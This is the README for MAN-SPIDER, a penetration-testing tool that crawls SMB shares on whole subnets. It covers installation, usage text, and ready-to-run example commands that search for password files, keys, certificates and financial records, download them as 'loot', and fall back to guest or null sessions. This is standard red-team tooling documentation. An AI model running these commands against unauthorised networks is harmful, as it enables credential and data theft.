Crawl SMB shares for juicy information. File content searching + regex is supported!
File types supported:
PDF
DOCX
XLSX
PPTX
- any text-based format
- and many more!!
MAN-SPIDER will crawl every share on every target system. If provided creds don't work, it will fall back to "guest", then to a null session.
Installation:
(Optional) Install these dependencies to add additional file parsing capability:
# for images (png, jpeg)
$ sudo apt install tesseract tesseract-data-eng
# for legacy document support (.doc)
$ sudo apt install antiword
Install manspider (please be patient, this can take a while):
$ pip install pipx
$ pipx install man-spider
Example #1: Search the network for filenames that may contain creds
NOTE: matching files are automatically downloaded into $HOME/.manspider/loot
! (-n
to disable)
$ manspider 192.168.0.0/24 -f passw user admin account network login logon cred -d evilcorp -u bob -p Passw0rd
Example #2: Search for XLSX files containing "password"
$ manspider share.evilcorp.local -c password -e xlsx -d evilcorp -u bob -p Passw0rd
Example #3: Search for interesting file extensions
$ manspider share.evilcorp.local -e bat com vbs ps1 psd1 psm1 pem key rsa pub reg txt cfg conf config -d evilcorp -u bob -p Passw0rd
Example #4: Search for finance-related files
This example searches financy-sounding directories for filenames containing 5 or more consecutive numbers (e.g. 000202006.EFT
)
$ manspider share.evilcorp.local --dirnames bank financ payable payment reconcil remit voucher vendor eft swift -f '[0-9]{5,}' -d evilcorp -u bob -p Passw0rd
Example #5: Search for certificates
$ manspider share.evilcorp.local -e pfx p12 pkcs12 pem key crt cer csr jks keystore key keys der -d evilcorp -u bob -p Passw0rd
Usage Tip #1:
You can run multiple instances of manspider at one time. This is useful when one instance is already running, and you want to search what it's downloaded (similar to grep -R
). To do this, specify the keyword loot
as the target, which will search the downloaded files in $HOME/.manspider/loot
.
Usage Tip #2:
Reasonable defaults help prevent unwanted scenarios like getting stuck on a single target. All of these can be overridden:
- default spider depth: 10 (override with
-m
) - default max filesize: 10MB (override with
-s
) - default threads: 5 (override with
-t
) - shares excluded:
C$
,IPC$
,ADMIN$
,PRINT$
(override with--exclude-sharenames
)
Usage Tip #3:
Manspider accepts any combination of the following as targets:
- IPs
- hostnames
- subnets (CIDR format)
- files containing any of the above
- local folders containing files
For example, you could specify any or all of these:
192.168.1.250
share.evilcorp.local
192.168.1.0/24
smb_hosts.txt
loot
(to search already-downloaded files)/mnt/share
(to recursively search a directory)- NOTE: when searching local files, you must specify a directory, not an individual file
Usage:
usage: manspider [-h] [-u USERNAME] [-p PASSWORD] [-d DOMAIN] [-m MAXDEPTH] [-H HASH] [-t THREADS] [-f REGEX [REGEX ...]] [-e EXT [EXT ...]] [--exclude-extensions EXT [EXT ...]]
[-c REGEX [REGEX ...]] [--sharenames SHARE [SHARE ...]] [--exclude-sharenames [SHARE ...]] [--dirnames DIR [DIR ...]] [--exclude-dirnames DIR [DIR ...]] [-q] [-n]
[-mfail INT] [-o] [-s SIZE] [-v]
targets [targets ...]
Scan for juicy data on SMB shares. Matching files and logs are stored in $HOME/.manspider. All filters are case-insensitive.
positional arguments:
targets IPs, Hostnames, CIDR ranges, or files containing targets to spider (NOTE: local searching also supported, specify directory name or keyword "loot" to search
downloaded files)
optional arguments:
-h, --help show this help message and exit
-u USERNAME, --username USERNAME
username for authentication
-p PASSWORD, --password PASSWORD
password for authentication
-d DOMAIN, --domain DOMAIN
domain for authentication
-m MAXDEPTH, --maxdepth MAXDEPTH
maximum depth to spider (default: 10)
-H HASH, --hash HASH NTLM hash for authentication
-t THREADS, --threads THREADS
concurrent threads (default: 5)
-f REGEX [REGEX ...], --filenames REGEX [REGEX ...]
filter filenames using regex (space-separated)
-e EXT [EXT ...], --extensions EXT [EXT ...]
only show filenames with these extensions (space-separated, e.g. `docx xlsx` for only word & excel docs)
--exclude-extensions EXT [EXT ...]
ignore files with these extensions
-c REGEX [REGEX ...], --content REGEX [REGEX ...]
search for file content using regex (multiple supported)
--sharenames SHARE [SHARE ...]
only search shares with these names (multiple supported)
--exclude-sharenames [SHARE ...]
don't search shares with these names (multiple supported)
--dirnames DIR [DIR ...]
only search directories containing these strings (multiple supported)
--exclude-dirnames DIR [DIR ...]
don't search directories containing these strings (multiple supported)
-q, --quiet don't display matching file content
-n, --no-download don't download matching files
-mfail INT, --max-failed-logons INT
limit failed logons
-o, --or-logic use OR logic instead of AND (files are downloaded if filename OR extension OR content match)
-s SIZE, --max-filesize SIZE
don't retrieve files over this size, e.g. "500K" or ".5M" (default: 10M)
-v, --verbose show debugging messages
